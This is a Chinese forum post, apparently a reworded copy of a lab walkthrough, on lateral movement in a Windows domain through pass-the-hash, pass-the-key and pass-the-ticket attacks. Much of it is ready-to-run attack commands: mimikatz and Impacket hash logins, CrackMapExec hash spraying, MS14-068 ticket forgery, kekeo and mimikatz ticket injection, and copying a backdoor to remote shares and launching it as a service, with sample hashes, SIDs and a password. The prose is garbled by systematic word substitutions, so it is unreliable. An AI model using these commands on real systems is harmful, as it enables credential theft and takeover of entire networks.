内网安全:PTH PTK PTT

打印 上一主题 下一主题

主题 909|帖子 909|积分 2727

目次
实行所用网络拓朴图
网络环境说明​​​​​​​
LM认证
NTLM认证
NTLM Hash
Kerberos认证
TGT单子
服务单子
Windows系统密码存储
域控制器 - 用户登录 域用户 本地用户
域用户和本地管理员
用户登录
Mimikatz抓取密码来源
域内一台主机上可以得到非本地用户Hash的原因
域横向移动:哈希传递攻击(PTH)- NTLM认证攻击
PTH攻击原理
利用方式一:Mimikatz
利用方式二:Impacket
利用方式三:CrackMapExec 密码喷射
域横向移动:密钥传递攻击(PTK)- NTML认证攻击
域横向移动:单子传递攻击(PTT)- Kerberos认证攻击
原理
利用方式一:MS14-068 毛病利用
利用方式二:kekeo
利用方式三:mimikatz

实行所用网络拓朴图


网络环境说明

攻击机:
LInux IP:47.94.236.117
内网环境:单域环境
Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动
IP:192.168.46.146 192.168.3.31
DC:域控 IP:192.168.3.21
Jack-PC: IP:192.168.3.29
Mary-PC: IP:192.168.3.25
SQLServer:IP:192.168.3.32
FileServer: IP:192.168.3.30
前期的信息收集就不做了,前面两篇文章已有具体说明
已经提权至system权限在webserver上

前面的实行大部门都是基于明文的实行,除此以外,还可以根据哈希,单子,密钥进行攻击。


LM认证

LM(LAN Manager)认证是一种早期的Windows密码认证协议,用于在Windows系统中进行用户身份验证。它已被现代的NTLM(NT LAN
Manager)和Kerberos认证所取代,但在某些旧版本的Windows系统中仍然存在。
LM认证的根本原理如下:

  • 密码分割:LM认证将用户密码以固定长度(7个字符)的块进行分割,然后分别对每个块进行处理。这是因为早期的Windows系统对密码长度有限制,并且利用了较弱的加密算法。
  • 哈希计算:对每个分割后的密码块,LM认证利用DES(Data Encryption Standard)加密算法进行哈希计算。LM哈希算法在DES的基础上进行了一些变种,包括添加了固定的盐值和填充。
  • 会话密钥:LM认证利用用户的密码哈希值作为会话密钥,用于加密与服务器的通讯。这意味着在每次与服务器进行身份验证时,都会利用雷同的密码哈希值作为密钥。
这个不须要过多相识,因为根本用不上。
NTLM认证

NTLM(NT LAN
Manager)是一种用于身份验证的协议,最初由微软开发并用于Windows操作系统。NTLM认证是基于NTLM协议进行的身份验证过程。
NTLM认证过程通常包括以下步调:

  • 客户端发送请求:客户端向服务器发送身份验证请求,请求访问特定资源或服务。
  • 服务器相应挑战:服务器收到客户端的请求后,生成一个随机的挑战值(Challenge)并发送给客户端。
  • 客户端相应:客户端吸收到服务器发送的挑战值后,利用用户提供的密码进行计算,生成一个NTLM相应(NTLM Response)。
  • 服务器验证:客户端将生成的NTLM相应发送给服务器。服务器吸收到NTLM相应后,利用存储在系统中的用户密码的NTLM Hash值进行比对。如果NTLM相应与存储的NTLM Hash值匹配,则验证成功。
  • 会话安全性:如果NTLM验证成功,服务器和客户端将建立一个安全的会话,该会话在后续的通讯中可以利用。
须要注意的是,NTLM认证是一种挑战-相应式的认证协议,并且利用基于密码的验证机制。客户端和服务器之间通过挑战和相应来验证客户端的身份,并确保通讯的安全性。
然而,NTLM认证在安全性方面存在一些弱点,例如易受中间人攻击和哈希传递攻击等。因此,现代的Windows系统通常保举利用更安全的认证协议,如Kerberos认证,以提供更强大的身份验证和会话安全性。
NTLM Hash

NTLM(NT LAN Manager)是一种用于身份验证和安全的协议,最初由微软开发并用于Windows操作系统。NTLM
Hash值是NTLM协议中利用的一种密码散列算法生成的密码哈希值。
NTLM
Hash值是根据用户提供的密码计算得出的,它并不是密码的明文情势。密码哈希是通过将用户密码颠末一系列复杂的算法和处理转换成一个固定长度的字节序列。这个哈希值是密码的不可逆转表示,无法从哈希值还原出原始密码。
NTLM Hash值在Windows系统中被广泛利用,尤其是在早期版本的Windows操作系统中。在NTLM身份验证过程中,用户输入的密码会被转换成NTLM
Hash值,并与存储在系统中的密码Hash进行比对,以验证用户的身份。
由于NTLM Hash值是不可逆的,即无法从哈希值还原出原始密码,因此在一些安全方案中,存储和传输NTLM
Hash值被以为比存储和传输明文密码更安全。这样,即使哈希值被泄漏,攻击者也无法直接获取用户的密码。
然而,NTLM Hash值并不是完全安全的,因为它可以成为哈希攻击的目的。通过利用预先计算的彩虹表等技能,攻击者可以尝试将NTLM
Hash值与预先计算的哈希值进行匹配,以找到对应的明文密码。为了提高密码的安全性,现代系统通常接纳更强大的密码哈希算法,如NTLMv2和更安全的散列算法(如SHA-256或bcrypt),以提供更好的密码掩护。
Kerberos认证

Kerberos是一种网络身份认证协议,用于在计算机网络中进行安全的身份验证和访问控制。
它由麻省理工学院(MIT)开发,并被广泛用于Windows和其他操作系统中。
Kerberos认证的根本原理如下:

  • 认证服务器(AS):用户在客户端输入用户名和密码后,客户端将用户名发送给认证服务器(AS)。这一步现在本地密码加密为Kerberos Hash,发送到AS验证
  • 获取单子授予单子(TGT):认证服务器验证用户提供的用户名和密码,并生成一个称为单子授予单子(Ticket Granting Ticket,TGT)。TGT是一个包含用户身份信息和加密密钥的单子,它的目的是用于后续的身份验证请求。
  • 会话单子(Service Ticket):一旦客户端得到了TGT,它可以向单子授予服务器(Ticket Granting Server,TGS)发出请求,以获取特定服务的会话单子(Service Ticket)。
  • 服务单子验证:客户端利用TGS发放的会话单子向目的服务请求访问。服务利用TGS提供的密钥验证会话单子的有效性,并向客户端提供所需的服务。
Kerberos利用共享密钥密码学来实现安全的身份验证。它通过利用对称密钥加密算法对单子进行加密和解密,以确保单子在网络中的传输过程中的安全性。
Kerberos具有许多优点,包括单点登录(Single Sign-
On,SSO)功能,淘汰了用户在网络中多次输入密码的需求。它还提供了强大的身份验证和授权机制,以掩护网络资源免受未经授权的访问。
在Windows领域中,Kerberos是默认的身份验证协议,用于用户在域环境中进行身份验证和访问控制。通过Kerberos认证,用户可以安全地登录域控制器,并得到对域中资源的访问权限。
TGT单子

TGT(Ticket Granting Ticket)是在Kerberos认证中利用的一种单子,用于获取服务单子(Service
Ticket)。TGT单子是在用户登录到域中的计算机时由域控制器颁发的,并且具有肯定的有效期。
TGT单子的生成和利用流程如下:

  • 用户登录:用户在登录到域中的计算机时,向域控制器发送身份验证请求。域控制器验证用户的身份,并为用户生成一个TGT单子。
  • TGT单子生成:域控制器生成TGT单子,此中包含用户的身份信息、有效期、会话密钥等。TGT单子被加密,并利用域控制器的私钥进行签名,以确保其完整性和安全性。
  • TGT单子传递:域控制器将生成的TGT单子发送回用户的计算机。用户的计算机将TGT单子存储在本地,通常存储在内存中,以便后续利用。
  • 获取服务单子:当用户须要访问特定资源时,用户的计算机利用存储的TGT单子向域控制器请求服务单子。服务单子用于访问特定的服务或资源,例如文件共享、长途桌面等。
  • 服务单子传递:域控制器根据用户的请求生成服务单子,并将其发送回用户的计算机。用户的计算机将服务单子传递给要访问的服务或资源,以获取对其的访问权限。
TGT单子的有效期通常较长,可以在一段时间内允许用户进行多次访问而无需重新进行身份验证。一旦TGT单子逾期或被撤销,用户将须要重新进行身份验证来获取新的TGT单子。
服务单子

服务单子(Service
Ticket)是在Kerberos认证中利用的一种单子,用于向特定服务或资源进行身份验证和授权。服务单子授予持有者对特定服务或资源的访问权限。
以下是服务单子的生成和利用过程:

  • 用户请求服务单子:当用户须要访问某个服务或资源时,用户的计算机向域控制器发送请求,要求生成一个针对该服务的服务单子。
  • 域控制器验证请求:域控制器吸收到用户的请求后,验证用户的身份和权限。如果用户具有合法的TGT(Ticket Granting Ticket),并且有权访问所请求的服务,则域控制器生成一个服务单子。
  • 服务单子生成:域控制器生成服务单子,此中包含用户的身份信息、服务的标识、有效期、会话密钥等。服务单子被加密,并利用服务的密钥进行签名,以确保其完整性和安全性。
  • 服务单子传递:域控制器将生成的服务单子发送回用户的计算机。用户的计算机将服务单子存储在本地,通常存储在内存中。
  • 访问服务或资源:用户的计算机利用存储的服务单子向目的服务或资源发送请求。服务或资源利用服务单子进行身份验证和授权,判断用户是否具有访问权限。如果服务单子有效且合法,用户将被授予对服务或资源的访问权限。
服务单子通常具有较短的有效期,以确保安全性。一旦服务单子逾期,用户须要重新请求并获取新的服务单子才气继续访问服务或资源。
TGT,服务单子都存储在内存中,且具偶然间限制
Windows系统密码存储

在一般环境下,Windows操作系统并不会将用户密码的Hash持久存储在内存中
密码Hash通常在进行身份验证时被利用,而不是在内存中持久保存。
然而,有一些环境下密码Hash大概会临时存储在内存中:

  • 登录过程:当用户利用用户名和密码登录到系统时,操作系统会将用户提供的密码转换为Hash值,并将其与存储在安全数据库(如SAM数据库)中的用户密码Hash进行比对。这个过程中,密码Hash会临时存在于内存中用于验证用户的根据。
  • 进程执行:在某些环境下,某些进程或服务大概须要利用密码Hash进行身份验证或访问敏感信息。 在这种环境下,密码Hash大概会被加载到内存中供进程利用。
须要注意的是,密码Hash在内存中的存在是短暂的
,它们不会长时间保存在内存中。操作系统和应用步伐通常会尽快扫除和销毁敏感信息,以掩护用户的安全和隐私。
也就是说用户的登录密码在登陆后会被加密为一串Hash值,这个Hash就被成为NTLM Hash,存在在硬盘上。
域控制器 - 用户登录 域用户 本地用户

表明一些前面的迷惑
域用户和本地管理员

在域环境中,域用户是由域控制器生成和管理的。
当在域控制器上创建一个新用户账户时,该账户的信息将被存储在域控制器的用户数据库中,并生成一个唯一的安全标识符(SID)来标识该用户账户。
当新用户账户在域控制器上创建后,该用户可以登录到域控制器和域中的其他计算机。用户可以利用其域账号和密码进行身份验证,并被授予域中其他资源的访问权限。
也就说计算机上用户分为有两种:

  • 计算机本地的用户,好比本地管理员账户,本地普通用户
  • 通过域管理器生成的域用户
用户登录

在非域环境,用户登录计算机,会核对账号,密码生成Hash密码对比数据库,而域用户并非本地用户却能登录,而且其它的域用户也可以登录其它的主机?
在域环境中,域控制器是负责管理和维护整个域的关键服务器。域控制器存储了域中的用户账户、计算机账户、安全策略等信息,并负责身份验证和授权等功能。
当域内用户登录到域中的一台主机时,该主机会将用户提供的登录根据发送给域控制器进行身份验证。域控制器验证用户的根据是否精确,并确定用户是否具有访问该主机的权限。
一旦用户的身份验证成功,并且用户在域中具有访问其他主机的权限,域控制器会生成一个安全的登录令牌并将其传递给用户。该登录令牌包含有关用户的安全上下文和权限信息。
利用该登录令牌,用户可以通过网络访问域中的其他主机,而无需重新进行身份验证。当用户尝试登录到其他域内主机时,该主机会吸收到用户的登录请求,并将其传递给域控制器进行验证。域控制器会验证登录令牌的有效性,并确认用户是否具有访问该主机的权限。如果验证成功,用户将被授予登录该主机的权限。
这种方式使得域内用户可以在整个域中自由地移动和访问资源,而无需为每台主机单独进行身份验证。这提供了更便捷的登录和访问体验,并通过域控制器的集中管理确保了安全性。
Mimikatz抓取密码来源

windows用户登陆后,会把密码哈希算法加密生成Hash值存储在计算机上sam文件
Mimikatz是一款盛行的开源工具,用于进行Windows内存取证和密码抓取。它可以从多个位置抓取到密码,包括:

  • LSASS进程内存:LSASS(Local Security Authority Subsystem Service)是Windows系统中负责处理用户登录根据和安全干系操作的关键进程。Mimikatz可以通过注入代码或者直接读取LSASS进程的内存,从中提取明文密码、密码哈希值以及其他根据信息。
  • SAM文件:SAM文件是Windows系统中存储本地账户信息的数据库文件。Mimikatz可以读取SAM文件,解密和提取此中的密码哈希值。
  • Credential Manager:Credential Manager是Windows系统中用于管理用户根据的组件。Mimikatz可以检索并抓取Credential Manager中存储的密码和根据信息。
  • LSA Secrets:LSA Secrets是Windows系统中存储敏感信息的地方,包括密码、根据、证书等。Mimikatz可以提取LSA Secrets中的密码和根据信息。
域内一台主机上可以得到非本地用户Hash的原因

一台主机大概会被多个用户登陆过 ,本地管理员,本地域用户,其它域用户,域控账户,在他们登录的期间,大概会做一些操作,好比修改等等
,做这些事变是须要权限的,域内用户,域控判断是否又权限就须要一些认证的协议,好比LM,NTLM,Kerberos协议进行认证,本地用户通过NTML
Hash比对SAM文件,就会用到自己的NTML
Hash,以及TGT单子,这些会遗留在当前计算机文件,内存中,这些就可以被我们拿来利用。通过这些根据可以登录别的主机,想用主机上该用户的权限。
我们拿到一台计算机的最高权限后,就可以通过Mimikatz工具抓取计算机上所有的明文密码以及密码的Hash值,这些既有本地用户的,也有域用户的。这就是横向移动攻击手法,不断收集这些Hash值,通过Hash值可以反过来登录其它主机(主机上有该用户),在获取明文密码以及密码Hash值,如果此中有用户的权限是高权限,就可以控制这台机器,终极控制整个网络。
域横向移动:哈希传递攻击(PTH)- NTLM认证攻击

PTH:Pass The Hash,通过密码散列值 (通常是NTLM Hash)来进行攻击
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问长途主机或服务,而不消提供明文密码。
Window Server 2012 R2之前利用到的密码散列值是LM、NTLM在2012 R2及其版本之后利用到的密码散列值是NTLM
Hash。

KB2871997补丁后的影响
PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
大概存在这样一种环境:就是域内所有的计算机的本地管理员账户,密码均雷同以及域控的账号密码,就可以通过抓取一台主机上的Hash而登录所有域内的主机。
PTH攻击原理

哈希传递攻击(Pass-the-Hash
Attack)是一种利用密码哈希值进行身份验证的攻击技能。它利用了某些系统中存储的密码哈希值来直接进行身份验证,而不须要明文密码。以下是哈希传递攻击的一般原理:

  • 攻击者获取到目的用户的密码哈希值:攻击者可以通过各种手段获取到目的用户的密码哈希值,如通过网络嗅探、操作系统的毛病利用、恶意软件等方式。
  • 利用密码哈希值进行身份验证:攻击者将获取到的密码哈希值直接传递给目的系统进行身份验证,而无需明文密码。
  • 伪装为合法用户:如果密码哈希值精确,目的系统会将攻击者视为目的用户,授予其相应的权限和访问权限。
在Webserver上抓取密码,抓到的Hash

利用方式一:Mimikatz

在CS中执行下面这条下令,有个缺点:这条下令运行后会在Webserver弹出cmd,不是在CS上
不须要加上shell,它是CS自带的下令
  1. mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
复制代码

之后在webserver上弹出一个黑窗口

Webserver本地cmd窗口对比通过Mimikatz的cmd窗口
Mimikatz的cmd窗口

Webserver本地cmd窗口

因为第一个cmd是Mimikatz通过PTH攻击,返回了192.168.3.32的system权限的反弹cmd
然后就可以通过这个cmd窗口进行上线
上线流程:反向连接
CS的Weberver的system权限会话 - 署理转发 - 转发上线
设置监听器

生成后门,通过CS上传到webserver上
执行下令,从webserver上下载到192.168.3.32
  1. copy C:\Users\webadmin\Desktop\webserver4444.exe \\192.168.3.32\c$
复制代码


执行后门,利用下令创建一个服务bindshell,地址为后门可执行步伐
这个sqlserver是对方的地址,也可以填写内网的IP:192.168.3.32
  1. sc \\sqlserver create bshell binpath= "c:\webserver4444.exe"
复制代码

启动服务
  1. sc \\sqlserver start bshell
复制代码


利用方式二:Impacket

通过署理技能,把攻击机流量署理给CS转发进入内网
CS:署理转发-SOCKS署理
攻击机:设置proxifier署理
之前学习了IPC,WMI,SMB的协议横向移动,均可以利用到PTH
可以是利用这Impacket进行哈希传递攻击
  1. python3 psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32   #返回system权限
  2. python3  smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32        #返回system权限
  3. python3  wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32        #返回administrator权限
复制代码
![](https://img-
blog.csdnimg.cn/867cda122e134bbd903aa2a2fd8c584c.png)返会一个cmd窗口在攻击机本地(这一点就优于利用方式一)

这里是不能利用copy下令直接传后门的,因而这是在攻击机上的
通过CS上传木马到webserver的web服务根目次,在攻击机的反弹的cmd窗口进行执行下载下令,就可以令目的下载后们,运行木马

上线

通过CS上红框前面的显示可以看出,sqlserver主机连接的是(Webserver)192.168.3.32
也就是说这里上线的控制是CS通过Webserver连接到的Sqlserver
原本的网络环境还是CS服务器无法和内网通讯,攻击机也是如此
利用方式三:CrackMapExec 密码喷射

看域内用户谁用这个哈希值,先比对一下,判断处一组精确的用户名和哈希值,再尝试生成单子去连接主机,权限如果够的话,就可以成功登录
  1. proxychains python cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录
  2. proxychains python cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录
复制代码

接下来可以用户和哈希生成单子,然后尝试连接
域横向移动:密钥传递攻击(PTK)- NTML认证攻击

这个很鸡肋,根本碰不到
PTK = Pass The Key
PTK:打了补丁才气用户都可以连接,接纳aes256连接,当系统安装了KB2871997补丁且禁用了NTLM的时候,两个条件都要满意才气接纳aes
那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式得到权限。
CS中利用:
  1. mimikatz sekurlsa::ekeys
复制代码
得到一些aes值

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
  1. mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:9f64a722743a06840e2fc30e69c56c07feb23e32fc177d165f272cb5790ce98b
复制代码
执行成功之后会在webserver靶机上弹出一个cmd窗口,但是无法利用net use \192.168.3.32\c$
连接,对方机器未必会开启aes验证,也不满意毛病利用条件
域横向移动:单子传递攻击(PTT)- Kerberos认证攻击

PTT:Pass The Ticket 单子类似于Web的Cookie,Session,就是用于用户身份验证
PTT攻击的部门就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
   一. 利用MS14-068毛病直接就可以伪造合法的单子,直接把低权限单子提升至高权限
  二. 窃取NTML Hash直接生成TGT单子,加载进入内存利用,这个须要考虑到NTML Hash对应用户的权限巨细
  三.
窃取内存遗留的TGT单子,逐一重新导入内存,测试是否又可利用单子,如果又高权限用户登录遗留的TGT单子,好比域控,不但可以拿下对方主机,还能拿下整个内网。
  原理

单子传递攻击(Pass-the-Ticket
Attack)是一种针对Windows域环境中利用Kerberos认证的攻击方法。该攻击利用被窃取的Kerberos单子(Ticket)来伪装为合法用户,获取对系统资源的访问权限。简单来说就是将连接合法的单子注入到内存中实现连接。
以下是单子传递攻击的原理:

  • 获取TGT单子:攻击者首先须要获取到一个有效的TGT(Ticket Granting Ticket)单子。 TGT是在用户登录到域中的计算机时由域控制器颁发的单子,用于获取服务单子(Service Ticket)。
  • 注入TGT单子:攻击者将获取到的TGT单子注入到目的主机的内存中 。这通常须要获取目的主机的管理员权限或者利用其他毛病来实现。
  • 伪装为合法用户:通过注入TGT单子**,攻击者可以伪装成合法用户,并在目的主机上利用这个伪造的单子来获取访问资源的权限。**
  • 获取服务单子:利用注入的TGT单子,攻击者可以向目的主机请求服务单子。服务单子是用于访问特定资源的单子,好比文件共享、长途桌面等。
  • 利用服务单子访问资源:一旦攻击者获取了有效的服务单子,就可以利用这些单子来访问目的主机上的资源,包括敏感文件、系统设置等。
单子传递攻击利用了Kerberos的单点登录机制和单子传递功能,使得攻击者可以在目的系统上得到合法用户的权限,而无需知道用户的明文密码。这种攻击方法对于域环境中的攻击非常有效,因为域用户的单子在域内的多台主机上都是有效的。
利用方式一:MS14-068 毛病利用

MS14-068是密钥分发中心(KDC)服务中的Windows毛病,伪造用户身份TGT单子。
该毛病位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。它允许颠末身份验证的用户在其Kerberos票证(TGT)中插入恣意PAC。用户可以通过呈现具有改变的PAC的Kerberos
TGT来得到票证。类似Web的cookie伪造技能
毛病利用项目:
  1. https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
  2. https://github.com/gentilkiwi/kekeo/releases
复制代码
在Webservre上尝试连接域控主机的C盘,须要对方密码才行,这里建议域内利用计算机名连接访问,利用IP地址大概会失效

下面演示利用webadmin普通用户权限利用MS14-068上线域控DC
  1. shell whoami/user  #获取sid
复制代码

利用步伐太大,不建议上传到webserver中,大概会有数据的丢失,利用署理的话须要将webserver提升到system权限
利用这个工具生成一个单子文件,参数表明:Webserver主机的域用户名,密码,SID值
域用户:Webadmin 上面下令获取,密码,抓取本机密码(要权限),SID(上面下令获取)
作用:通过Webadmin用户向Kerberos服务器(域控)请求生成Webadmin的TGT,在TGT中插入恣意PAC,生成一张新的单子,这张单子是高权限的,是域控的。
  1. shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45                 
复制代码


CS执行下令
  1. shell klist
  2.               显示Webserver上的票据
复制代码
Webserver上有四条单子

清理所有的单子
  1. shell klist
  2. purge     清除票据
复制代码

利用mimikatz将单子(上传到目的主机上)导入内存
先通过CS上传单子到Webserver上去

执行下令
  1. mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
复制代码
注入成功

查看单子
  1. shell klist
复制代码

10个小时时间内单子有效
CS中尝试连接
  1. shell dir \\OWA2010CN-GOD\c$                #未导入票据之前显示拒绝访问
复制代码

单子是由时效期的,逾期即失效
须要注意到一个点,在利用工具生成单子的时候,须要能访问内网的域控,这里要么上传工具到Webserver,要么建立署理,工具太大,不能上传,建立署理须要Webserver拿到系统权限,才气把署理搭建起来。以是这个毛病的利用方式须要跳板机的高权限,而且最开始还须要抓取到Webserver的明文密码,以是须要Webserver取得高权限才气利用这个毛病。
之后CS上线域控
  1. shell copy webserver4444.exe \\OWA2010CN-GOD\C$
  2. shell sc \\OWA2010CN-GOD create bindshell binpath= "c:\webserver4444.exe"
  3. shell sc \\OWA2010CN-GOD start bindshell
复制代码
利用方式二:kekeo

利用NTML HASH生成单子
这个毛病的利用须要Webserver具有高权限
这里会利用到一个工具,Kekeo 巨细仅500多KB,可以选择上传到Webserver利用
上传工具到Webserver

生成单子
  1. shell kekeo "tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"       
复制代码
如果是署理方式在攻击机运行的话,就须要输入这两条下令
  1. tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c
  2. exit
复制代码
因为你打开这个工具运行后是这样的
CS生成单子文件

先清空,再导入单子 到内存中
  1. shell kekeo "kerberos::ptt TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
复制代码

查看单子,内存中就会出现一张新的单子
  1. shell klist
复制代码

尝试连接访问域控,连接失败

原因:这里生成的单子是webadmin的Hash的单子,它是地权限的
这次利用administrator的Hash生成单子,这个Hash是域控的Hash,这个Hash是通过横向移动别的主机拿到的。利用这个Hash生成新的单子
  1. shell kekeo "tgt::ask /user:administrator /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"       
  2. shell kekeo "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
  3. shell klist
复制代码

  1. shell dir \owa2010cn-god\c$
复制代码

有了域控的Hash也可以接纳利用PTH方式,但是这个方式有个缺点:须要协议端口,如果协议端口给封了就没办法了。而且这两种攻击方式原理也不一样,方式一是把Hash给主机认证。而PTK是把Hash给Kerberos认证。也就是说获取到NTML
Hash后又两种利用方向:PTH,PTT
利用方式三:mimikatz

导出单子,获取当前计算机上的所有单子文件,这是这台计算机的所有单子文件,上一步清空只是断开了所有的连接,这时包括以前连接过的。
  1. mimikatz sekurlsa::tickets /export
复制代码

导入某一张单子到内存
  1. mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e4]-2-0-60a00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi
复制代码

前面是Webserver用户,反面是协议,登录Webserver的用户

查看单子
  1. shell klist
复制代码

说明这张无效了
用域管理员登录这台装备,登陆之后还是导不出administrator的单子的话,就利用DC域控长途桌面连接一下webserver靶机,利用administrator登陆,模拟一下利用条件

重新导出单子
  1. mimikatz sekurlsa::tickets /export
复制代码

导入这张单子 ,是域控用户遗留的TGT单子,由于刚刚留下,还没逾限期,可以利用
  1. mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;f1818]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi                #导入票据  使用krbtgt协议的票据
复制代码


  1.  shell klist
复制代码

  1. shell dir \\owa2010cn-god\c$
复制代码

成功反弹返来域控主机的cmd窗口,上线后,拿下整个内网!
学习网络安全技能的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:步伐操持、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社管帐算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技能,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,大概很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感爱好,那么你须要的话可以点击这里

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

反转基因福娃

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表